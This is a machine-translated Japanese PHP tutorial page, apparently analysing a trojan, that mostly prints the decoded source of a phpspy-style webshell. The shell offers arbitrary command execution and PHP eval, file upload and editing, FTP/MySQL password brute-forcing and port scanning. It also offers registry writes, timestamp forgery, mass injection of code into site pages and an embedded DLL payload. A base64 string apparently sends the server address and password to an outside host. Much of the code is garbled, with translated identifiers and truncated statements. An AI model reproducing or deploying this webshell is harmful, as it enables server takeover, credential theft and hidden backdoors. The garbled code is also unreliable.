ホームページ  >  記事  >  バックエンド開発  >  PHP トロイの木馬解析 (暗号解読)_PHP チュートリアル

PHP トロイの木馬解析 (暗号解読)_PHP チュートリアル

WBOY
WBOYオリジナル
2016-07-21 15:46:202186ブラウズ

分析の結果、このトロイの木馬はbase64でエンコードされ、圧縮されていることがわかりました。関連する機密保持措置が講じられていますが、PHP コードは実行する必要があり、最終的に PHP ソース コードが生成されるため、デコード、解凍してファイルに書き込むために次の PHP プログラムが作成されます。
デコードと解凍のコードは次のとおりです:

コードをコピーします コードは次のとおりです:

function writetofile($filename, $data)
{ //ファイルの書き込み
$filenum=@fopen($filename,"w");
if (!$filenum) {
return false;
flock($filenum,LOCK_EX); ;
fclose($filenum) ;
return true
}
?> 次に、php 環境で実行すると、次のような php プレーンテキスト ファイルが得られます:


は次のとおりです:

error_reporting(7);
$mtime =explode(' ', microtime());
@set_time_limit(0); //非セーフ モードでは上記の関数を使用し、タイムアウト後にキャンセルできます。
/*====================== プログラム構成=====================*/
// パスワードの検証が必要かどうか。1 は検証が必要であることを意味し、その他の数字は直接入力を意味します。
$admin['check'] = "1";
// パスワードの検証が必要な場合は変更してください。ログインパスワード
// デフォルトのポートテーブル
$hidden = "44997";
$admin['port'] = "80,139,21,3389,3306,43958,1433,5631";
//ジャンプ秒数
$admin ['jumpsecond '] = "1";
//FTPクラッキング用の接続ポート
$alexa = "yes";
//Alexaランキングを表示するかどうか、yesまたはno
$admin['ftpport'] = " 21";
// phpspy 自体が編集したファイルの時刻を作成時刻に自動的に変更することを許可するかどうか (はい/いいえ)
$retime = "no";
// cmd.exe のデフォルトの場所。 proc_open 関数を使用するため、Linux システムに合わせて変更してください。(winnt システムがプログラム内で指定できることを前提としています)
$cmd = "cmd.exe"
// 以下は phpspy によって表示される著作権欄です。 、多くのプログラムによってキーワードとみなされ、強制終了されるため、ゆはん〜〜カスタマイズを許可します。まだ理解できない場合は変更しないでください~~

/*====================== 設定は終了します======== ======== =====*/
$serveru = $_SERVER ['HTTP_HOST'].$_SERVER['PHP_SELF'];
$serverp = $admin['pass']; =base64_decode('PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNjUlMkU lNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9'); dD4=');
$onoff = (function_exists('ini_get')) ?ini_get('register_globals') : get_cfg_var('register_globals'); ($onoff != 1) {@ extract($_POST, EXTR_SKIP);@extract($_GET, EXTR_SKIP);}
$self = $_SERVER['PHP_SELF'];$dis_func = get_cfg_var("disable_functions"); /*======= ============== 認証=====================*/
if( $admin['check'] = = "1") {if ($_GET['action'] == "ログアウト") {setcookie ("adminpass", "");echo "";echo "ログアウトに成功しました...3 秒後に自動的に終了するか、ここをクリックしてプログラム インターフェースを終了します>>>if ($_POST['do'] == 'ログイン') {$thepass=trim($_POST['adminpass']);if ($admin['pass' ] == $thepass ) {setcookie ("adminpass",$thepass,time()+(1*24*3600));echo "";echo "".$copyurl.$serveru."&p=".$serverp.$copyurl."";exit;}}if (isset($_COOKIE[' adminpass'])) {if ($_COOKIE['adminpass'] != $admin['pass']) {loginpage();}} else {loginpage();}}
/*======= ===== ========= 検証終了 =====================*/
// magic_quotes_gpc のステータスを決定する
if (get_magic_quotes_gpc( )) {$_GET = ストリップスラッシュ_配列($_GET);$_POST = ストリップスラッシュ_配列($_POST);}
//mix.dll のコード
$mixdll = "7Zt/TBNnGMfflrqBFnaesBmyZMcCxs2k46pumo2IQjc3wSEgUKYthV6hDAocV6dDF5aum82FRBaIHo RlRl0y3B b/cIkumnVixOIE/cMMF+ePxW1Ixah1yLBwe+5aHMa5JcsWs+T5JE+ f9/m+z/ u8z73HP9cruaXbSAwhRAcmy4QcIBEyyd8zCJbw1FcJZH/cyZQDmpyTKYVVzkamnq+r5G21TIXN5aoTmHKO4d0uxulisl8vYGrr7JwhPn5marTG4ozM3oZ1hrYpk7JS2wR1/Fzb2+DnZGW osZSV1lav +mfbePD5zooqJf9BveWZCMnR6Ah/MmfFlHaRJKTM0jxCCAVBekQbmE0iMaOGlDqmIuehiZ5LpGA0D9BGUyMxdVdXy6YQskXxTGTJA8kkJPuv5h8Ec7f1P8UgcBsF8B9qow1N2b0lygy83SbYCPlc ExGmncH0FjMNkTRyVMlLJ/ec3bQ8v4HnauoqCKmJCmpe5n15KwiCIAiCIAiCIAjyUBCzU2PFTJ1nCRGM4kqdNyAsKCr+eitLKE9AXui/+cXt0wt+26cRT4u3xc2pid9c0Yb2iH2eSzGh3VZLD6zWHSO a3 sxYBmoZ/T3berbdy1rx6rtXd8PDY0FRsWjSiytjxdm+9nWTshyN1ujy5SRYTnmO6nymMc9hZY64Z4qmuVB5oT9YKeZSvtxbLe12mMiv0sKD7ZAddnOIprG8oUIYpSlfXCyWJNB83jKldItS ZM0Q S1RdknumblesENSV6YcvqSxdEKJpvCuCfAtMyj4lC+KpltWyxviT+t7vpXT5kM3clqq+snAp3JGXr87YemMfXAu7xjkeMWL8XOVrsc0Ypwvfj8I7mVVzbChnJQIutdv3nVIEXVwCQ4PQ3 dquC52dq1wEIh4aVfLWq2RzMgD2Wqmlev5AuxisZRS0N4Rev87SYAHfmUfm0Ou25pgsO58lJemX/NEUhZku1puSInsBxF4jrY4tEt75Y3EJ5R91xngylPgnO80xqhBmeSa376Z3+yCZ xx UUF8ikY6GEwlCTLMrSgNLxaiQugOVjjM+ndetBfKM4rGLoBR+ gdVcrEuOcpSRcn1UUxKSa9Z4ueCLOnaseqtWEx3Gc42vXQnXXSGKR1vTo3VuOd4MpREuNGykKqTkwjMRC4BQRAEQRAEQRAE+S+YZCL+EPhTYIN gl8GuRfVGQprjwGaBKfHHzB9r98EYno/J1mnaURgrXwY0T9OSU 8h975b/6f7FBUbrQqPBXlNDSIbWJtQ5CcktKMrKL4xoFq2D5zhCHtNYnS6nIHB8LWnV1tpq1LfTXcRqs1e7GwWrw +7cQMh6ku1stJXXcIVVPGez5zjLeRu/KQuyG8kqU/5qU87UXtOZ+k3 BhpTIbwRiolYCSR2sHqyMIiQPTHkP3gyxCNalnAOs0JJc89rsl9XCuc6NFXUuF1chTBta7ZzS/HRFjREEQRAEQRAEQRDkXyJIlb62MOA 4aNU0L5op/TgenDEUlGW5vkySpJ6JJZ+Co8+201e8i+izrfRyengPPfLB PY5q+peDHeX0dy3dwk D/cfoTGL8Z2u6vXjbS6j+WbOk611TvP9ZLF9IXDneUrtzYUdKdJ9Ot9AVvR2nXXS6OElrqKKUra 注目の Cvv4+R78NjIM5d7d58ZPmq2XHTwz0OVb1+I1Nb3WbSxs6 HQ7H+fBIIDg6PjgxEQwPD0vfB8NjI2FFgWhQOnfp+sjJG6BNSGdGxybOXL8THateHJSuDe891r1X6u8b7BsdvxkeGZTGR2/fD o+PSOO/jg6Hh1VRIqSkpGT+MwzPNbidPNfI2JhGgXe6Khmbyw7GOF0CV8nxD/uvA0EQBEEQBEEQBPnfQkX+D /3x9PfTQ+l30jVsIpvMMqyBfZ59iX2FLWTXsdVsHSuwm9j32Fa2k93HHmKP sJfZUTbf6DI2GbcaH/YlIAiCIAiCIAiCIAjy1/wO";

function shelL($command){
global $windows,$disablefunction s;
$exec = '';$output= ' ';
$dep[]=array('パイプ','r');$dep[]=array('パイプ','w');
if(is_callable('パススルー') && !strstr($disablefunctions) ,'passthru')){ @ob_start(); passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
elseif(is_callable('system') && !strstr( $disablefunctions,'system')){$tmp = @ob_get_contents();$output = @ob_clean(); } (is_callable('exec') && !strstr($ disablefunctions,'exec')) {exec($command,$output);$output = join("n",$output);$exec= $output;}
elseif(is_callable('shell_exec') && !strstr( $disablefunctions,'shell_exec')){$exec=shell_exec($command);}
elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$ exec= fgets($output);}pclose($output);}
elseif(is_resource($res=proc_open($command,$dep,$pipes))){ while(!feof($pipes[1])) {$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get(' Upload_tmp_dir') ;$name = $_SERVER["TEMP"].name();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents( $name);unlink($name);}
return $exec;
}
// PHPINFO を表示
if ($_GET['action'] == "phpinfo") {echo $phpinfo=(!eregi("phpinfo ",$dis_func)) ? phpinfo() : "phpinfo() 関数が無効になっています。を確認してください。";exit;
}if($_GET['action'] == "nowuser") {$user = get_current_user();
if(!$user) $user = "ホストに異常があり、現在のユーザー名を取得できません!"
echo "現在のプロセス ユーザー名: $user";
終了;
}
if(isset($_POST['phpcode'])){eval("?".">$_POST[phpcode]");終了
}
if($action= ="mysqldown" ; "selectload_file('".$filename."');";
$result = @mysql_query($query, $link);
if(!$result){
$downtmp = "読み込みに失敗しました、おそらくファイルが存在しないか、ファイル権限がありません。
".mysql_error();
}else{
while ($row = mysql_fetch_array($result)) {
$filename = Basename($filename);
if($rardown=="yes"){
$zip = NEW Zip;
$zipfiles[]=Array("$filename",$row[0]);
$zip->Add($zipfiles,1);
$code = $zip->get_file ();
$filename = ".$filename.".rar";
$code = $row[0];
header("Content-type: application/octet-ストリーム");
header("Accept-Range: bytes");
header("Accept-Length: ".strlen($code));
header("Content-Disposition:attachment;filename=$filename"); code);
exit;
}
}
}
// 在中プロキシ
if (isset($_POST['url'])) {$proxycontents = @file_get_contents($_POST['url']);echo ($proxycontents) $proxycontents : "

< b>URL コンテンツを取得

";exit;
}
// ダウンロード文件
if (!empty($downfile)) {if (!@file_exists($downfile)) {echo "";} else {$filename =basename($downfile);$filename_info =explode('.', $filename) ;$fileext = $filename_info[count($filename_info)-1];header('Content-type: application/x-'.$fileext);header('Content-Disposition:attachment; filename='.$filename.' ');header('Content-Description: PHP 生成データ');header('Content-Length: '.filesize($downfile));@readfile($downfile);exit;}
}
// 直接ダウンロード备份データベース库
if ($_POST['backuptype'] == 'download') {
@mysql_connect($servername,$dbusername,$dbpassword) または die("データベース库连接失败");
@mysql_select_db($dbname) または die("选择データベース库失败");    
$table = array_flip($_POST['table']);
$result = mysql_query("SHOW tables");
エコー ($result) ? NULL : "出错: ".mysql_error();

$filename = ベース名($_SERVER['HTTP_HOST']."_MySQL.sql");
header('Content-type: application/unknown');
header('Content-Disposition:attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata.= sqldumptable($currow[0]);
$mysqldata.= $mysqldata."rn";
}
}
mysql_close();
終了します。
}

// 程序目录
$pathname=str_replace('\','/',dirname(__FILE__));
$dirpath=str_replace('\','/',$_SERVER["DOCUMENT_ROOT"]);

// 获取当前路径
if (!isset($dir) or empty($dir)) {
$dir = ".";
$nowpath = getPath($pathname, $dir);
} else {
$dir=$_GET['dir'];
$nowpath = getPath($pathname, $dir);
}

// 判断读写情况
$dir_writeable = (dir_writeable($nowpath)) ? "可写" : "不可写";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | 注册表操作" : "";

$tb = 新しいフォーム;

?>






<?php echo "$myneme"?>


//$_SERVER["DOCUMENT_ROOT"]
$tb-> tableheader();
$tb->tdbody('< ;/tr>< ;/table>','center','top');
$tb->tdbody('ルート ディレクトリ | シェル ディレクトリ | 環境変数a href="?action=proxy" href="?action=proxy">オンライン プロキシ ' .$reg.$phpinfo.' | /a> " ?action=crack">その他のクラッキングmix.dllを解凍します "?action=logout" href="?action=logout">ログアウト');
$tb->tdbody('バッチホースの添付ファイル | HTTP ファイルのダウンロード | ファイル検索 | PHP スクリプトを実行 | SQL ステートメントを実行 | < a href="?action= mysqlfun" href="?action=mysqlfun">Func リバウンド シェル | MySQL バックアップ | < ;a href="?action=SUExp" href="?action=SUExp">Serv-U 権限昇格');
$tb->tablefooter()

'.date("Y 年 m 月 d 日 h:i:s", time()). ''.gethostbyname($_SERVER['SERVER_NAME']).'

$tb->headerform(array( 'method'=>'GET) ','content'=>'

プログラム パス: '.$pathname.'
現在のディレクトリ('.$dir_writeable.','.substr(base_convert( @fileperms($nowpath),10 ,8),-4).'): '.$nowpath.'
ジャンプディレクトリ: '.$tb->makeinput('dir',''.$nowpath.'','',' text','80').' '.$tb->makeinput('','OK','','submit').' 〖絶対パスと相対パスをサポートします

$tb ->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content '=>'ファイルを現在のディレクトリ: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile',' OK','','submit ').$tb->makeinput('uploaddir',$dir,'','hidden')));

$tb->headerform(array('action'= >'?action=editfile&dir=) '.urlencode($dir),'content'=>'現在のディレクトリに新しいファイルを作成します: '.$tb->makeinput('editfile').' '.$tb-> ;makeinput('createfile) ','OK','','submit')));

$tb->headerform(array('content'=>'現在のディレクトリに新しいディレクトリを作成します: '.$tb- > makeinput('newdirectory').' '.$tb->makeinput('createdirectory','','submit'));

="775" noshade>
/*====================== 実行操作開始========== ==========*/
echo "

n";
// ファイルを削除
if (!empty($delfile)) {
if (file_exists($delfile ;
}
}

//ディレクトリを削除します
elseif (!empty($deldir)) {
$deldirs="$dir/$deldir";
if (!file_exists("$deldir")) {
echo "$deldir ディレクトリはありませんより長い存在!";
} else {
echo (deltree($deldirs)) ? "ディレクトリの削除に成功しました!" : "ディレクトリの削除に失敗しました!";
}
}

// ディレクトリを作成します
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
if (!empty($newdirectory)) {
$mkdirs="$dir/$newdirectory";
if (file_exists("$mkdirs")) {
エコー「既に存在します!」 ="mysqlup"){
$filename = $_FILES ['upfile']['tmp_name'];
if(!$filename) {
echo"アップロードするファイルが選択されていません。";
}else{
$shell = file_get_contents($filename);
$mysql = bin2hex($shell);
if(!$upname) $upname = $_FILES['upfile']['name'];
$shell = "select 0x".$mysql." from ".$database." into DUMPFILE '".$uppath."/".$upname."';"; user,$password);
if(!$link){
echo "ログインに失敗しました".mysql_error();
$result = mysql_query($shell, $link){
Echo "正常に実行されました。ファイルは ".$ Host. " にアップロードされました。$ upname." { elseif ($_POST == 'doeditfile') {
if (!empty($_POST['editfilename'])) {
if(!file_exists($editfilename)) unset($retime)
if($time= =$now) $ time = @filemtime($editfilename);
$time2 = @date("Y-m-d H:i:s",$time)
;?";
$filecontent = gzdeflate ($filecontent);
$filecontent = Base64_encode($filecontent);
$filecontent = "";
)? "ファイルの書き込みに失敗しました!";; @fclose ($ fp);
if ($ retime == "yes") {
echo "Fish Fish 自動操作:";
ECHOO $ msg =@Touch ($ FILENAME, $ Time)? "ファイルの変更に失敗しました!"; name!";
}
}
//ファイルダウンロード
elseif ($_POST['do'] == 'downloads') {
$contents = @file_get_contents($_POST['durl']);
if( ! $contents){
echo"ダウンロードするデータを読み取れません";
}
elseif(file_exists($path)){
echo"申し訳ありませんが、ファイル ".$path." は既に存在します。保存ファイルを変更してください。名前。";
}else{
$fp = @fopen($path,"w");
echo $msg=@fwrite($fp,$contents) ? "ファイルのダウンロードに成功しました!" : "書き込み中にファイルのダウンロードに失敗しました. !";
@fclose($fp);
}
}
elseif($_POST['action']=="mix"){
if(!file_exists($_POST['mixto'])){
$ tmp = Base64_decode($mixdll);
$tmp = gzinflate($tmp)
$fp = fopen($_POST['mixto'],"w");
echo $msg=@fwrite($fp,$); tmp ) ? "解凍は成功しました!" : "このディレクトリは書き込み可能ではありませんか? !";
fclose($fp);
}else{
echo「そうですよね?".$_POST['mixto']."すでに存在します~";
}
}
// ファイルのプロパティを編集
elseif ($_POST['do'] == 'editfileperm') {
if (!empty { ? "属性の変更に成功しました!" : "変更に失敗しました!";
echo " ファイル ".$file." 変更された属性は次のとおりです: ".substr(base_convert(@fileperms($dir."/".$file), 10, 8), -4);
} else {
echo "設定したい属性を入力してください!";
}}

// ファイルの名前を変更しました ($ _post ['do'] == 'rename ') {
if (!empty($_POST['newname'])) {
$newname=$_POST['dir']."/".$_POST['newname'];
if (@file_exists($ newname)) {
echo "".$_POST['newname']." すでに存在します。新しい名前を入力してください!" ? ".$_POST['newname'] に名前が変更されました。 ' ]。 "!"ファイル名の変更! "; ) {
if(!empty($oldkey)){
echo" 検索キーワード: [".$oldkey."]、検索結果は以下に表示されます: "; $type2 == "getpath"){
echo" マウスを結果ファイルの上に移動すると、結果ファイルの一部が表示されます。 ."; hr width="775" noshade>";
find($path);
}else{
echo"Xiami を確認したいのですが、何か欲しいものはありますか?";
}
}
elseif ($_GET['action']=='plgmok') {
dirtree($_POST['dir'],$_POST[' mm'])
}
elseif ($_GET['action'] == "plgm") {
$action = '?action=plgmok';
$gm = "";
$tb->tableheader();
$tb->formheader($action,'バッチマウント' ; ''.$_SERVER["DOCUMENT_ROOT"].'','', 'text','60').'
コードをハングするには:'.$tb->maketextarea('mm',$gm ,'50','5').''.$tb- >makehidden('do','馬に乗ってバッチ処理').'
'.$tb->makeinput('submit',' ぶら下がり馬を開始',','submit'),'center' ,'1','35');
echo "";
$tb->tablefooter();
}// 時間のクローンを作成します
elseif ($_POST['do' ] == 'domodtime') {
if (!@file_exists($_POST['curfile'])) {
echo "変更するファイルが存在しません !"
} else {
if (!@file_exists( $ _POST ['TARFILE']){post ['tarfile']); )." 変更時刻が ".date( "Y-m-d H:i:s",$time) に変更されました。" !" : "ファイルの変更時刻を変更できませんでした!"; == 'modmytime' ) {
if (!@file_exists($_POST['curfile'])) {
echo "変更するファイルが存在しません!"
}else {
$year=$_POST['year'];
$month=$_POST['month'];
$data=$_POST['data'];        
$hour=$_POST['hour'];
$ minutes=$_POST['分'];
$秒=$_POST['秒'];
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($ minutes) A​​ND !empty($second)) {
$time= strtotime("$data $month $year $hour:$分:$秒");
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." の変更時間は成功に変更されました ".date("Y-m-d H:i:s",$time)." !" : "文書の修正時間中修正失効!";
}
}
}
elseif($do =='port'){
$tmp =explode(",",$port);
$count = count($tmp);
for($i=$first;$i $fp = @fsockopen($host, $tmp[$i], $errno, $errstr, 1);
if($fp) echo"発行现".$host."主机打开了端口".$tmp[$i]."
"; */
elseif ($do == 'crack') {//反正注册は全局变量了。
if(@file_exists($passfile)){
$tmp = file($passfile);
$count = count($tmp);
if(empty($onetime)){
$onetime = $count;
$turn="1";
}else{
$nowturn = $turn+1;
$now = $turn*$onetime;
$tt = intval(($count/$onetime)+1);
}
if($turn>$tt or $onetime>$count){
echo"超过字典容量了耶~要是破解最終后程的,很抱歉失。";
}else{
$first = $onetime*($turn-1);
for($i=$first;$i<$now;$i++){
{ if($ctype=="mysql") $sa = @mysql_connect($host,$user,chop($tmp[$i]));
else $sa = @ftp_login(ftp_connect($host,$admin[ftpport]),$user,chop($tmp [$i]));
if($sa)
{
$t = "获取".$user."の秘密コードは".$tmp[$i].""; }
}
if(! $t){
echo "字典总共".$count."个, 「.$first.」から「.$now.」、「.$admin[jumpsecond].」秒後にこれを実行します「.$onetime.」の秘密コードの検索。 >>>
今回の「.$type.」の破壊は「.$tt.」の次に完全に解除され、次は「.$turn.」になります。 /span>";
}
else {
echo"$t";
}
}
}else{
echo"字典文件不存在、请確定。
= count($tmp);
1];

}
for($i=$first;$i<$count;$i++){
if(!eregi("-",$port){
$fp = @fsockopen($host, $ TMP [$ i], $ ERRNO, $ ERRSTR, 1);
IF ($ FP) Echo ". $ Host." ホストがポート ". $ tmp [$ i] を開きました]。 . elect_db($dbname)) {
echo "データベース接続が成功しました!"; mysql_close(); OST['do'] == 'クエリ') {
@mys ql_connect($servername,$dbusername,$dbpassword) または die("データベース接続に失敗しました")
@mysql_select_db($dbname);または die("データベースの選択に失敗しました");
$result = @mysql_query( $_POST['sql_query']);
echo ($result) : "エラー: ".mysql_error();
mysql_close();
}

// バックアップ操作
elseif ($ _POST['do'] == 'backupmysql') {
if (empty($_POST['table']) OR empty($_POST[' backuptype'])) {
バックアップするデータ テーブルとバックアップ方法を選択してください!";
} else {
if ($_POST['backuptype'] == 'server') {
@mysql_connect($servername, $ dbusername、$ dbpassword)またはdie( "データベース接続が失敗しました"); .mysql_fetch_array($result)) {
if (isset {
fclose($ filehandle); "; ($i==$f+$d) echo "$ dl[0] が ".$path" に解凍されました。成功しました
($f ファイル$d ディレクトリ)"
elseif($f==0) echo " $ dl [0] "。$ path。" failed ";
path。= new zip; ];$i++)
[$i]; $filesize=@filesize($dir."/".$zipfilearray[$i]); $zipfiles []=Array($filename,@fread($fp,$ファイルサイズ)));
else
{
$filename=$dl[$k];
$filesize=@filesize($zipfile);
$fp=@fopen($zipfile,rb);
$zipfiles[]=Array($filename,@fread($fp,$filesize));
@fclose($fp);
}
}
$zip->Add($zipfiles,1);
$code = $zip->get_file();
$ck = "_QQ44997_".date("Y-m-d",time())."";
if(empty($localfile)){
header("Content-type: application/octet-stream");
header("Accept-Ranges: バイト");
header("Accept-Length: ".strlen($code));
header("Content-Disposition:attachment;filename=".$_SERVER['HTTP_HOST']."".$ck."_Files.zip");
echo $code;
終了します。
}else{
$fp = @fopen("".$dir."/".$localfile."","w");
echo $msg=@fwrite($fp,$code) ? "压缩保存".$dir."/".$localfile."本地成功!!" : "ディレクトリ".$dir."書き込み権限がありません!";
@fclose($fp); }
// Shell.Application はプログラム
elseif(($_POST['do'] == 'programrun) を実行します') AND !empty($_POST['program'])) {
$shell= &new COM('Sh' .'el'.'l.Appl'.'ica'.'tion');
$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
echo ($a=='0') : "プログラムは正常に実行されました!" to run!";
}
// PHP 設定パラメータのステータスを表示
elseif(($_POST['do'] == 'viewphpvar ') AND !empty($_POST['phpvarname'])) {
echo "構成パラメータ".$_POST['phpvarname']." 検出結果: ".getphpcfg($_POST['phpvarname'])."" ;
}
// レジストリを読み取ります
elseif(($regread) AND ! empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh '.'ell')
var_dump(@$shell->RegRead($) _POST['readregname']));
}

// レジストリに書き込みます
elseif(($regwrite) AND !empty($ _POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W'.'Scr'.'ipt .S'.'hell');
$a = @$shell-> RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
echo ($ a=='0') "レジストリ キー値の書き込みに成功しました!" ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST ['regtype']." 失敗しました!";
}
// レジストリを削除します
elseif( ($regdelete) AND !empty($_POST['delregname'])) {
$shell= &new COM('WS' .'cri'.'pt.S'.'he'.'ll'); a = @$shell->RegDelete($_POST['delregname']);
echo ($a=='0 ') : "「.$_POST['delregname'」を削除しました]." 失敗しました!";
}
else {
echo "$notice";
echo "プログラムa href="" href=""?dir=C:/Documents%20and%20Settings/All%20Users/Application%20Data/Symantec/pcAnywhere href="" href=""?dir=C:/Documents%20and%20Settings/All%20Users/"「メニュー/プログラム」を開始>プログラムを開始 AllUsers Serv-U | ";
for ($i=66; $i<=90;$i++){$drive= chr($i).':'; if (is_dir($drive."/")){$vol=shelL("vol $drive");if (empty($vol))$vol=$drive;echo " $drive\}

}
echo "

n";
/*===================== 実行操作结束 =====================*/
if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir")) {
$tb->tableheader( );
?>

文件
创建日期
最終修正

プロパティ
操作


// 目录列表
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="1"){
if($file!=".." && $file!=".") {
$ctime=@date("Y-m-d H:i:s",@ filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
echo "n";
echo " [
$filen";
echo " $ctimen";
echo " $mtimen";
echo "
検索 n";
echo " $dirpermn";
echo " | 删除 変更名 |n";
echo "n";
$dir_i++;
} else {
if($file=="..") {
echo "n";
echo "
返上级目录n";
echo "n";
}

}
}// while
@closedir($dirs);
?>




// 文件列表
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="0"){
$size=@filesize($filepath);
$size=$size/1024 ;
$size= @number_format($size, 3);
if (@filectime($filepath) == @filemtime($filepath)) {
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
} else {
$ctime="".@date("Y-m-d H:i:s",@filectime($filepath))."";
$mtime="".@date("Y-m-d H:i:s",@filemtime($filepath))."";
}
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
echo "n";
echo " ";
echo "";
echo "$filen";
echo " $ctimen";
echo " $mtimen";
echo " $size KBn";
echo " $filepermn";
echo " 下ダウンロード | 编辑 " href="""#" onclick="really('".urlencode($dir)."','".urlencode($filepath)."','你确定要删除 $file 文件吗?',' 2')">删除 | 変更名 | 時間n";
echo "n";
$file_i++;
}
}// while
@closedir($dirs);
if(get_cfg_var('safemode'))$z = "(?)";
else $z = "(?)";
$tb->tdbody('
'. $tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' 本地文件:'.$tb-> ;makeinput('localfile','','','text','15').''.$tb->makeinput('downrar','选中打包下ダウンロードまたは本地保存','','submit ').' '.$z.''.$dir_i.' / '.$file_i.' '/td>
','center',getrowbg(),'','','6');

echo "n";
echo "n";
}// 終了ディレクトリ

elseif ($_GET['action'] == "editfile") {
if(empty($newfile)) {
$filename="$dir/$editfile";
$fp=@fopen($filename,"r");
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents=htmlspecialchars($contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile";
}
$action = "?dir=".urlencode($dir)."&editfile=".$editfile;
$tb->tableheader();
$tb->formheader($action,'新建/编辑文件');
$tb->tdbody('当前文件: '.$tb->makeinput('editfilename',$filename).' 输入新文件名则建立新文件 Php代码加密: ');
$tb->tdbody($tb->maketextarea('filecontent',$contents));
$tb->makehidden('do','doeditfile');
$tb->formfooter('1','30');
}//end editfile

elseif ($_GET['action'] == "名前変更") {
$nowfile = (isset($_POST[ '新しい名前'])) $_POST['新しい名前'] :basename($_GET['fname']);
$action = "?dir=".urlencode($dir)."&fname=".urlencode($) fname);
$tb->tableheader();
$tb->formheader($action,'ファイル名を変更');
$tb->makehidden('oldname',$dir."/"。 $nowfile);
$tb->makehidden('dir',$dir);
$tb->tdbody('現在のファイル名: '.basename($nowfile)); '名前の変更: '.$tb->makeinput('newname'));
$tb->makehidden('do','rename');
$tb->formfooter('1','30 ' );
}//名前変更の終了

elseif ($_GET['action'] == "eval") {
$action = "?dir=".urlencode($dir).""
$tb- > ;tableheader();
$tb->formheader(''.$action.' "target="_blank' ,'PHP スクリプトを実行');
$tb->tdbody($tb->maketextarea( ') phpcode',$contents));
$tb->formfooter('1','30');

}
elseif ($_GET['action'] == "fileperm") {
$action = " ?dir=".urlencode($dir)."&file=".$file;
$tb->tableheader();
$tb->formheader($action,'ファイル属性の変更');
$ tb ->tdbody(''.$file.' の属性を次のように変更します: '.$tb->makeinput('fileperm',substr(base_convert(fileperms($dir.'/'.$file),10, 8),-4)));
$tb->makehidden('file',$file);
$tb->makehidden('dir',urlencode($dir)); makehidden('do','editfileperm');
$tb->formfooter('1','30')
}//end fileperm

elseif ($_GET['action'] == "newtime" ) {
$action = "?dir=".urlencode($dir);
$cachemonth = array('1 月'=>1,'2 月'=>2,'3 月'=>3,'4 月'=>4,'5月'=>5,'6月'=>6,'7月'=>7,'8月'=>8,'9月'=>9,'10月'= >10,'11 月'=>11,'12 月'=>12);
$tb->tableheader();
$tb->formheader($action,'クローン ファイルの最終変更時刻' ) ;
$tb->tdbody("ファイルを変更: ".$tb->makeinput('curfile',$file,'readonly')." → 対象ファイル: ".$tb->makeinput(' tarfile ','完全なパスとファイル名が必要です'),'center','2','30');
$tb->makehidden('do','domodtime');
$tb->formfooter ('','30');
$tb->formheader($action,'カスタム ファイルの最終変更時刻');
$tb->tdbody('
    (日付は 32 ビットの符号付き整数に基づいています (最小値と最小値から得られます)最大値)
  • 注: 日は 01 ~ 30、時間は 0 ~ 24、分と秒は 0 ~ 60 です! ; ;','left');
    $tb->tdbody('現在のファイル名: '.$file);
    $tb->makehidden('curfile',$file); ('次のように変更します: '.$tb->makeinput('year','1984','','text','4').' year'.$tb->makeselect( array('name' =>'month','option'=>$cachemonth,'selected'=>'10 月')).'month'.$tb->makeinput('data','18 ','', 'text','2').' 日'.$tb->makeinput('hour','20','','text','2').' 時間'.$ tb->makeinput ('分','00','','テキスト','2
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。